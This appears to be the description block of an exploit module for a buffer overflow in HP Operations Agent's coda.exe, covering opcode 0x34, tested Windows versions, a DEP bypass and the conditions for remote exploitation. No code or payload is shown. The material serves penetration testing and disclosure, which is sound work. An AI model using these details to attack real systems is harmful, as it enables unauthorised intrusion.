     This module exploits a buffer overflow vulnerability in HP Operations Agent for
    Windows. The vulnerability exists in the HP Software Performance Core Program
    component (coda.exe) when parsing requests for the 0x34 opcode. This module has
    been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and
    Windows 2003 SP2 (DEP bypass).

    The coda.exe components runs only for localhost by default, network access must be
    granted through its configuration to be remotely exploitable. On the other hand it
    runs on a random TCP port, to make easier reconnaissance a check function is
    provided.
